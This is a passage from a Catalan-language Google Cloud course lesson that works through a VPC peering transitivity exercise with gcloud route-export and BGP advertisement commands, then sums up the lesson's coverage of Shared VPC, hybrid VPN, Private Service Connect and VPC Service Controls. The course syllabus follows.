La tercera és més feina inicial i és l'única que escala: el control deixa de ser «des d'on et connectes» i passa a ser «quin dispositiu ets i qui ets», que és el que realment importa. Mentre s'implanta, l'opció 2 és un pont raonable.
(c) La VM d'alpinashop-datos arriba a sn-web-euw1 però no a Sabadell.
Diagnòstic. És el problema de transitivitat de l'aparellament, en la seva forma més pura. La VPC de dades està aparellada amb alpinashop-vpc, i per això abasta les seves subxarxes. Però la ruta cap a 192.168.10.0/24 no és una subxarxa d'alpinashop-vpc: és una ruta apresa per BGP des del túnel VPN. I per defecte l'aparellament no exporta rutes apreses per BGP ni rutes estàtiques: només les de les subxarxes.
A més, encara que s'exportessin, hi ha un segon obstacle: l'aparellament no és transitiu, de manera que el trànsit de retorn des de Sabadell tampoc no sabria com tornar a la VPC de dades tret que el seu rang també s'anunciï per BGP.
Confirmació.
# Veure les rutes que exporta i importa l aparellament
gcloud compute networks peerings list-routes datos-hacia-red \
--network=vpc-datos --region=europe-west1 --direction=INCOMING \
--project=alpinashop-datos192.168.10.0/24 no apareixerà a la llista.
Correcció. Hi ha dos camins, i la diferència entre ells és la moralitat de la lliçó:
Camí 1 — Apedaçar l'aparellament. Activar l'exportació de rutes personalitzades al costat d'alpinashop-vpc i la importació al costat de dades, i a més anunciar per BGP el rang de la VPC de dades cap a Sabadell:
gcloud compute networks peerings update red-hacia-datos \
--network=alpinashop-vpc --export-custom-routes --project=alpinashop-red
gcloud compute networks peerings update datos-hacia-red \
--network=vpc-datos --import-custom-routes --project=alpinashop-datos
gcloud compute routers update alpinashop-router-euw1 \
--region=europe-west1 --advertisement-mode=custom \
--set-advertisement-groups=all-subnets \
--set-advertisement-ranges=10.30.0.0/16=vpc-datos \
--project=alpinashop-redFunciona, però deixa una topologia que cal recordar i documentar, i que es trencarà la propera vegada que algú afegeixi una xarxa.
Camí 2 — La solució correcta: eliminar l'aparellament. alpinashop-datos és un projecte propi d'AlpinaShop, a la mateixa organització. No hauria de tenir VPC pròpia aparellada: hauria de ser un projecte de servei de la VPC compartida. Tan bon punt ho sigui, els seus recursos seran a alpinashop-vpc, veuran les rutes de la VPN com qualsevol altre recurs, i el problema desapareix sense configurar res.
Aquesta és la lliçó de l'exercici, i de l'apartat 6: l'aparellament es fa servir quan l'altra xarxa és d'algú altre. Aparellar xarxes pròpies dins de la mateixa organització crea feina permanent per resoldre problemes que la VPC compartida no té. Si et trobes exportant rutes personalitzades entre dues VPC teves, és que vas triar l'eina equivocada.
Conclusió
La xarxa d'AlpinaShop ha passat de ser una VPC en un projecte a ser una plataforma de xarxa dissenyada.
Saps reconèixer quan una VPC deixa de bastar pels seus set senyals, i saps que el primer —abans de tocar res— és el pla d'adreçament, amb la seva regla inviolable: dos rangs que puguin arribar a connectar-se alguna vegada no es poden encavalcar. Amb les decisions que el fan durador: un /16 per regió amb el segon octet com a identificador, esquema idèntic entre regions, reserves per al que encara no existeix, i rangs prohibits explícitament —172.16.0.0/12 per Docker, 169.254.0.0/16 per BGP, i els «obvis» reservats per al dia que compris una empresa.
Domines la VPC compartida: projecte amfitrió propi i gairebé buit a la carpeta compartido, projectes de servei que aporten còmput i facturació, i els dos rols que la governen — compute.xpnAdmin per vincular projectes, concedit a la carpeta i no a l'organització, i compute.networkUser concedit sobre la subxarxa concreta, que és on hi ha la meitat del valor del model. Amb el permís de l'agent serverless-robot-prod que ningú no endevina, i amb la veritat incòmoda que una VM no es migra de xarxa: es recrea.
Distingeixes l'aparellament amb les seves tres limitacions —no és transitiu, els rangs no es poden encavalcar, les quotes s'agreguen— i saps que --export-custom-routes està desactivat per defecte i és la causa número u de «està aparellat però no hi arribo». Tens la taula de decisió amb la seva regla: projectes meus i una sola xarxa per governar → compartida; xarxa d'algú altre → aparellament; més de cinc xarxes i seus → Network Connectivity Center i la seva topologia radial.
Coneixes Private Service Connect en els seus tres usos: extrems amb IP teva cap a les API de Google —que a diferència de Private Google Access sí que funcionen des de l'altre costat del túnel—, consum de serveis de tercers sense compartir xarxes ni rangs, i publicació dels teus. I saps per què ha substituït l'aparellament com a forma estàndard de connectar amb socis.
Has connectat la botiga de Sabadell de debò: la taula de les tres opcions híbrides amb amplada de banda, latència, SLA, cost i termini, l'elecció raonada de Cloud VPN HA per a kilobytes d'estoc, i la implementació completa —passarel·la amb dues interfícies, passarel·la externa, Cloud Router amb ASN, dos túnels amb IKEv2 i secret a Secret Manager, dues sessions BGP amb prioritats 100 i 200, tallafoc i verificació—. Entens el BGP de debò: ASN, rutes anunciades i apreses, prioritats, i per què el dinàmic guanya a l'estàtic tan bon punt hi ha més d'una subxarxa. I saps que numLearnedRoutes: 0 amb el túnel ESTABLISHED significa que el problema no és teu.
Saps governar l'anunci de rutes amb --advertisement-mode=custom, inclòs el rang d'accés a serveis privats sense el qual Cloud SQL és inabastable des de la seu encara que tot sembli correcte, i coneixes els cinc errors clàssics d'encaminament amb el seu símptoma i el seu remei.
Has aixecat un perímetre de VPC Service Controls que respon al risc real: unes credencials filtrades ja no poden treure les dades, perquè IAM autoritza però el perímetre no deixa creuar la frontera. Amb nivells d'accés, --dry-run com a pas no negociable, la taula del que es trenca habitualment, i l'advertiment doble: mai un divendres, i que ho revisi un professional de seguretat i compliment abans de producció.
Saps diagnosticar en lloc de suposar: proves de connectivitat que retornen NO_ROUTE amb la causa exacta, topologia, analitzador de tallafoc i Flow Logs amb mostreig. Has seguit una fallada real de principi a fi —túnel amunt, BGP amunt, zero rutes apreses, microprogramari restaurat a Sabadell— i has vist el que es canvia després: alertes sobre numLearnedRoutes, sobre l'estat dels túnels, i sobre la frescor de l'estoc, perquè la detecció la continuava fent un humà tres hores tard.
I coneixes els nivells Premium i Estàndard, i sobretot on s'amaga la factura del trànsit: l'entrada és gratis, la sortida es paga, i el trànsit entre zones —que gairebé ningú no mira— apareix tan bon punt hi ha alta disponibilitat. Amb els quatre amagatalls clàssics i les tres palanques: CDN, col·locació i compressió.
Aquest últim apartat és el pont. Aquesta lliçó ha deixat veure una part de la factura que ningú no estava mirant, i no és l'única: han passat set mòduls afegint serveis —VM, buckets, BigQuery, Dataflow, un clúster, endpoints de Vertex AI, registres, traces, ara túnels i Flow Logs— i ningú no ha obert la factura sencera i l'ha entesa línia a línia.
Abans d'això queda una cosa amb més urgència. S'ha construït seguretat a cada mòdul: tallafoc a 03-01, WAF a 03-05, IAM a 03-04, secrets i CMEK a 03-06, TLS a 03-07, ara perímetres. Però mai no s'ha mirat el conjunt. La lliçó següent fa just això: revisa la seguretat d'AlpinaShop capa per capa, de la identitat a la detecció, i escriu honestament el deute que queda.
Curs de Google Cloud Platform (GCP)
Mòdul 1: Introducció a Google Cloud Platform
- Què és Google Cloud Platform?
- Configuració del teu compte de GCP
- Descripció general de la consola de GCP
- Projectes, jerarquia de recursos i facturació
- Regions, zones i model de responsabilitat compartida
- Cloud Shell i la CLI de gcloud
Mòdul 2: Serveis principals de GCP
- Compute Engine: màquines virtuals a Google Cloud
- Cloud Storage: emmagatzematge d'objectes
- Cloud SQL: bases de dades relacionals gestionades
- App Engine: plataforma com a servei
- Google Kubernetes Engine (GKE)
- Bases de dades NoSQL: Firestore, Bigtable i Spanner
- Com triar el servei de còmput adequat
Mòdul 3: Xarxes i seguretat
- Xarxes VPC
- Balanceig de càrrega al núvol
- Cloud CDN
- Gestió d'identitat i accés (IAM)
- Cloud Armor
- Secrets i xifratge: Secret Manager i Cloud KMS
- Cloud DNS, certificats TLS i publicació segura de serveis
Mòdul 4: Dades i anàlisi
- BigQuery: el magatzem de dades analític
- Cloud Dataflow: processament de dades per lots i en temps real
- Cloud Dataproc: Spark i Hadoop gestionats
- Cloud Pub/Sub: missatgeria asíncrona
- Cloud Data Fusion: integració de dades sense codi
- Orquestració de pipelines amb Cloud Composer i Workflows
- Govern de les dades i taulers amb Dataplex i Looker Studio
Mòdul 5: Aprenentatge automàtic i IA
- Vertex AI: la plataforma d'aprenentatge automàtic de GCP
- AutoML: models a mida sense escriure codi
- TensorFlow a GCP: entrenament i servei de models
- API de llenguatge natural
- API de visió
- IA generativa a Vertex AI: models Gemini i incrustacions
- MLOps: del model al producte amb Vertex AI Pipelines
Mòdul 6: DevOps i monitoratge
- Cloud Build: integració contínua a GCP
- Cloud Source Repositories i gestió del codi font
- Cloud Functions: funcions sense servidor
- Cloud Monitoring (abans Stackdriver): mètriques, taulers i alertes
- Cloud Deployment Manager i infraestructura com a codi nativa
- Cloud Logging i Cloud Trace: registres, traces i diagnòstic
- Terraform a GCP: infraestructura com a codi a la pràctica
Mòdul 7: Temes avançats de GCP
- Híbrid i multinúvol amb Anthos
- Computació sense servidor amb Cloud Run
- Xarxes avançades: VPC compartida, aparellament i connectivitat híbrida
- Bones pràctiques de seguretat
- Gestió i optimització de costos
- Fiabilitat: SLO, alta disponibilitat i recuperació de desastres
- Govern a escala: organització, polítiques i auditoria
